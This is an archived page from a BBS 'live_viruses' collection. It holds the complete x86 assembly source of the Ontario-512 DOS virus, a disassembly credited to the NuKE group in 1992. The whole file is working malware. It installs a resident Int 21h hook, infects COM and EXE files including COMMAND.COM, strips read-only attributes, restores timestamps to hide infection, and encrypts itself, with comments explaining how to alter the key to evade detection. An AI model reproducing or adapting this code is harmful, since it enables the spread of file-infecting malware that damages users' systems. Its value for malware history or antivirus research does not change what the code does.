home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / ont-512.asm < prev    next >
Assembly Source File  |  1992-06-01  |  12KB  |  298 lines
  1.  
  2. ;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  3. ;-*                        Ontario-512 Virus                          *-
  4. ;*-                       ~~~~~~~~~~~~~~~~~~~                         -*
  5. ;-*  Disassmembly by: Rock Steady/NuKE                                *-
  6. ;*-  ~~~~~~~~~~~~~~~~                                                 -*
  7. ;-*  Notes: Resident EXE and COM infector, will infect COMMAND.COM    *-
  8. ;*-  ~~~~~~ on execution. 512 bytes file increase, memory decrease    -*
  9. ;-*         of about 2,048 bytes. Anti-debugging, encrypted virus.    *-
  10. ;*-                                                                   -*
  11. ;-* (c) Copy-Ya-Rite [NuKE] Viral Development Labs '92                *-
  12. ;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  13. virus       segment byte public
  14.             assume  cs:virus, ds:virus
  15.  
  16.             org     100h                    ;Guess its a COM File huh?
  17. ont         proc    far
  18.  
  19. start:
  20.             jmp     go4it                   ;Jump to beginning of the
  21.             db      1Dh                     ;Virus And start!
  22.             db      'fected [NuKE]''92', 0Dh, 0Ah, '$'
  23.             mov     dx,0102h        ;This is the small File the Virus
  24.             mov     ah,09h          ;is infected to! As you see it only
  25.             int     21h             ;displays that messages and exits
  26.             int     20h             ;Exit Command for COMs
  27. go4it:
  28.             nop
  29.             call    decrypt         ;Get Decryption value & Decrypt viri
  30.             call    virus_start     ;Start the Virus!
  31. ont         endp
  32.  
  33. ;---------------------------------------------------------------------;
  34. ;                   The Start of the Virus Code                       ;
  35. ;---------------------------------------------------------------------;
  36.  
  37. virus_start           proc    near
  38.             pop     bp
  39.             sub     bp,7
  40.             mov     ax,0FFFFh             ;Is Virus in Memory hooked on?
  41.             int     21h                     ;the Int 21h?
  42.             or      ah,ah                   ;
  43.             jz      bye_bye                 ;Yes it is... Quit then...
  44.             push    ds
  45.             xor     ax,ax
  46.             mov     ds,ax
  47.             sub     word ptr ds:413h,2
  48.             lds     bx,dword ptr ds:84h
  49.             mov     word ptr cs:[200h][bp],bx
  50.             mov     word ptr cs:[202h][bp],ds
  51.             mov     bx,es
  52.             dec     bx
  53.             mov     ds,bx
  54.             sub     word ptr ds:3,80h
  55.             mov     ax,ds:12h
  56.             sub     ax,80h
  57.             mov     ds:12h,ax
  58.             mov     es,ax
  59.             push    cs
  60.             pop     ds
  61.             mov     si,bp
  62.             xor     di,di
  63.             mov     cx,204h
  64.             cld
  65.             rep     movsb
  66.             mov     ds,cx
  67.             cli                             ;This is where we hook the
  68.             mov     word ptr ds:84h,7Fh     ;virus to the Int21h
  69.             mov     word ptr ds:84h+2,ax
  70.             sti
  71.             mov     ax,4BFFh
  72.             int     21h
  73.             pop     ds
  74.             push    ds
  75.             pop     es
  76. bye_bye:
  77.             or      bp,bp
  78.             jz      what
  79.             lea     si,[bp+7Bh]
  80.             nop
  81.             mov     di,offset ds:[100h]
  82.             push    di
  83.             cld
  84.             movsw
  85.             movsw
  86.             retn
  87. what:
  88.             mov     ax,es
  89.             add     cs:7dh,ax
  90. ;*          jmp     far ptr go4it7
  91. virus_start           endp
  92.             db      0EAh,0EBh, 15h, 49h, 6Eh
  93.             cmp     ax,0FFFFh
  94.             jne     new_21h
  95.             inc     ax
  96.             iret
  97. ;---------------------------------------------------------------------;
  98. ;                     Interrupt 21h handler                           ;
  99. ;---------------------------------------------------------------------;
  100. new_21h:
  101.            cmp     ah,4Bh        ;Test, is File beginning Executed!
  102.            jne     leave_ok      ;Nope! Call Int21!
  103.            cmp     al,3          ;Overlay, beginning execute?
  104.            je      leave_ok      ;Yes! Leave it alone
  105.            cmp     al,0FFh       ;Virus testing to see if its alive?
  106.            jne     do_it_man     ;in memory?
  107.            push    cs
  108.            pop     ds
  109.            mov     dx,1DDh
  110.            call    infect
  111.            iret
  112. do_it_man:
  113.            call    infect       ;Infect file dude...
  114. leave_ok:
  115.            jmp     dword ptr cs:[200h]  ;Int21 handler..
  116.  
  117. ;---------------------------------------------------------------------;
  118. ;              Infection Routine for the Ontario Virus                ;
  119. ;---------------------------------------------------------------------;
  120.  
  121. infect     proc    near
  122.            push    es
  123.            push    ds              ;Save them not to fuck things up..
  124.            push    dx
  125.            push    cx
  126.            push    bx
  127.            push    ax
  128.            mov     ax,4300h        ;Here we get the file attribute
  129.            call    int21           ;for file to be infected.
  130.            jc      outta           ;Bitch Error encountered. Quit!
  131.            test    cl,1            ;Test if its Read-Only!
  132.            jz      attrib_ok       ;Ok, it ain't Read-Only Continue!
  133.            and     cl,0FEh         ;Set Read-Only to normal Attribs
  134.            mov     ax,4301h        ;Call Ints to do it...
  135.            call    int21           ;Bingo! Done!
  136.            jc      outta           ;Error encountered? Split if yes!
  137. attrib_ok:
  138.            mov     ax,3D02h        ;Open file for Read/Write
  139.            call    int21           ;Call Interrupt to do it!
  140.            jnc     open_ok         ;no errors? Continue!
  141. outta:
  142.            jmp     go4it5          ;Hey, Split Man... Errors happened!
  143. open_ok:
  144.            mov     bx,ax           ;BX=File Handle
  145.            push    cs
  146.            pop     ds
  147.            mov     ax,5700h        ;Get File's Date & Time
  148.            call    int21           ;Do it!
  149.            mov     word ptr ds:[204h],cx  ;Save Time
  150.            mov     word ptr ds:[206h],dx  ;Save Date
  151.            mov     dx,208h         ;DX=Pointer
  152.            mov     cx,1Bh          ;CX=Number of Btyes
  153.            mov     ah,3Fh          ;Read From File
  154.            call    int21           ;Do It!
  155.            jc      go4it1          ;Errors? Quit if yes!
  156.            cmp     word ptr ds:[208h],5A4Dh ;Check if files already
  157.            je      go4it0                   ;infected.
  158.            mov     al,byte ptr ds:[209h]   ;Com , Exes...
  159.            cmp     al,byte ptr ds:[20Bh]
  160.            je      go4it1
  161.            xor     dx,dx
  162.            xor     cx,cx
  163.            mov     ax,4202h
  164.            call    int21           ;Move File pointer to end of
  165.            jc      go4it1          ;file to be infected.
  166.            cmp     ax,0E000h       ;File bigger than E000 bytes?
  167.            ja      go4it1          ;Error...
  168.            push    ax              ;Save File Length
  169.            mov     ax,word ptr ds:[208h]
  170.            mov     ds:7bh,ax
  171.            mov     ax,word ptr ds:[20Ah]
  172.            mov     ds:7dh,ax
  173.            pop     ax                       ;All this is, is a complex
  174.            sub     ax,3                     ;way to do "JMP"
  175.            mov     byte ptr ds:[208h],0E9h  ;
  176.            mov     word ptr ds:[209h],ax
  177.            mov     byte ptr ds:[20Bh],al
  178.            jmp     short go4it3             ;File READY Infect it!
  179.            db      90h                      ;NOP me... detection string?
  180. go4it0:
  181.            cmp     word ptr ds:[21Ch],1
  182.            jne     go4it2
  183. go4it1:
  184.            jmp     go4it4
  185. go4it2:
  186.            mov     ax,word ptr ds:[20Ch]
  187.            mov     cx,200h
  188.            mul     cx
  189.            push    ax
  190.            push    dx
  191.            mov     cl,4
  192.            ror     dx,cl
  193.            shr     ax,cl
  194.            add     ax,dx
  195.            sub     ax,word ptr ds:[210h]
  196.            push    ax
  197.            mov     ax,word ptr ds:[21Ch]
  198.            mov     ds:7bh,ax
  199.            mov     ax,word ptr ds:[21Eh]
  200.            add     ax,10h
  201.            mov     ds:7dh,ax
  202.            pop     ax                      ; This is continues with the
  203.            mov     word ptr ds:[21Eh],ax   ; above to put a JMP at the
  204.            mov     word ptr ds:[21Ch],1    ; beginning of the file!
  205.            inc     word ptr ds:[20Ch]      ;
  206.            pop     cx                      ;
  207.            pop     dx                      ;
  208.            mov     ax,4200h                ;
  209.            call    int21
  210.            jc      go4it4
  211. go4it3:
  212.            xor     byte ptr ds:[1F8h],8   ;
  213.            xor     ax,ax                  ; Theses Lines copy the
  214.            mov     ds,ax                  ; virus code else where
  215.            mov     al,ds:46Ch             ; in memory to get it
  216.            push    cs                     ; ready to infect the file
  217.            pop     ds                     ; as we must encrypt it
  218.            push    cs                     ; FIRST when we infect the
  219.            pop     es                     ; file. so we'll encrypt
  220.            mov     byte ptr ds:[1ECh],al  ; this copy we're making!
  221.            xor     si,si                  ; and append that to the
  222.            mov     di,offset ds:[224h]    ; end of the file
  223.            push    di                     ;
  224.            mov     cx,200h                ;
  225.            cld                            ;
  226.            rep     movsb
  227.            mov     si,offset ds:[228h]    ;Now Encrpyt that copy of the
  228.            call    encrypt_decrypt        ;virus we just made...
  229.            pop     dx
  230.            mov     cx,200h                ;Write Virus to file!
  231.            mov     ah,40h                 ;BX=Handle, CX=Bytes
  232.            call    int21                  ;DX=pointer to write buffer
  233.            jc      go4it4            ;Duh? Check for errors!
  234.            xor     cx,cx
  235.            xor     dx,dx                  ;Now move pointer to beginning
  236.            mov     ax,4200h               ;of file.
  237.            call    int21
  238.            jc      go4it4            ;Duh? Check for errors!
  239.            mov     dx,208h                ;Write to file!
  240.            mov     cx,1Bh                 ;CX=Bytes
  241.            mov     ah,40h                 ;DX=pointes to buffer
  242.            call    int21             ;Bah, HumBug
  243. go4it4:
  244.            mov     dx,word ptr ds:[206h]  ;Leave no tracks...
  245.            mov     cx,word ptr ds:[204h]  ; puts back File TIME
  246.            mov     ax,5701h               ; and DATE! on file...
  247.            call    int21                  ;
  248.            mov     ah,3Eh                 ;
  249.            call    int21             ;Bah, HumBug...
  250. go4it5:
  251.            pop     ax                     ;Get lost...
  252.            pop     bx
  253.            pop     cx
  254.            pop     dx
  255.            pop     ds
  256.            pop     es
  257.            retn
  258. infect     endp
  259.  
  260. ;----------------------------------------------------------------------;
  261. ;                 The Original Interrupt 21h handler                   ;
  262. ;----------------------------------------------------------------------;
  263.  
  264. int21      proc    near
  265.            pushf                       ;Fake an Int Call...
  266.  
  267.            call    dword ptr cs:[200h] ;Orignal Int21h Handler
  268.            retn
  269. int21      endp
  270.  
  271.            db      'C:\COMMAND.COM'
  272.            db       00h, 84h
  273.  
  274. ;---------------------------------------------------------------------;
  275. ;            The Simple, But VERY Effective Encryption Routine        ;
  276. ;---------------------------------------------------------------------;
  277.  
  278. decrypt    proc    near
  279.            pop     si
  280.            push    si
  281.            mov     al,byte ptr cs:[1E8h][si];INCRYPTION VALUE TO CHANGE!
  282. encrypt_decrypt:                         ;and Virus will be UNDETECTABLE
  283.            mov     cx,1E8h            ; LENGTH OF VIRII! Change this!
  284. loop_me:   not     al                 ; if you modief the virus!
  285.            xor     cs:[si],al         ;
  286.            inc     si                 ;
  287.            loop    loop_me            ;
  288.                                       ;
  289.            retn
  290. decrypt    endp
  291.  
  292.  
  293. virus      ends
  294.            end     start
  295.  
  296. ;------------------------------------------------------------------------
  297.  
  298.